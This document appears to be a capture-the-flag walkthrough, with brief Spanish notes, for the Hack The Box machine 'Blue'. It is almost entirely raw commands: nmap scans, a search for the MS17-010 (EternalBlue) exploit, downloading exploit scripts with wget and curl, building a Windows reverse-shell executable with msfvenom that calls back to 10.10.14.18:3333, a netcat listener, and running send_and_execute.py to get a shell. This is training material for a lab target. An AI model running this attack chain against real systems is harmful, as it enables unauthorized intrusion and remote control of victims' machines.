echo "10.129.140.55 blue.htb" | sudo tee -a /etc/hosts

nmap -A -p- -oA output 10.129.140.55 --min-rate=10000 --script=vuln --script-timeout=15 -v

nmap -sC -sV -O -p- -oA blue 10.129.140.55

nmap -sU -O -p- -oA blue-udp 10.129.140.55

Esta maquina tiene una vulnerabilidad (MS17-010) Usaremos el protocolo de SMB para atacar la maquina.

searchsploit --id MS17-010

searchsploit -m 42315

wget https://raw.githubusercontent.com/offensive-security/exploitdb-bin-sploits/master/bin-sploits/42315.py
mv 42315.py.1 mysmb.py

mkdir eternalblue
curl https://raw.githubusercontent.com/helviojunior/MS17-010/master/send_and_execute.py > eternalblue/send_and_execute.py
curl https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py > eternalblue/mysmb.py
curl https://raw.githubusercontent.com/worawit/MS17-010/master/checker.py > eternalblue/checker.py

python eternablue/checker.py blue.htb

Agregamos un usuario al script

Vemos que es 64 bit. Ahora creamos un reverse shell

Creamos el payload con msfvenom

msfvenom -p windows/x64/shell_reverse_tcp -f exe LHOST=10.10.14.18 LPORT=3333 -f exe > blue.exe

rlwrap nc -lvnp 3333

Declaramos username como guest en send_and_execute.py

python2 eternalblue/send_and_execute.py blue.htb blue.exe 445 samr

whoami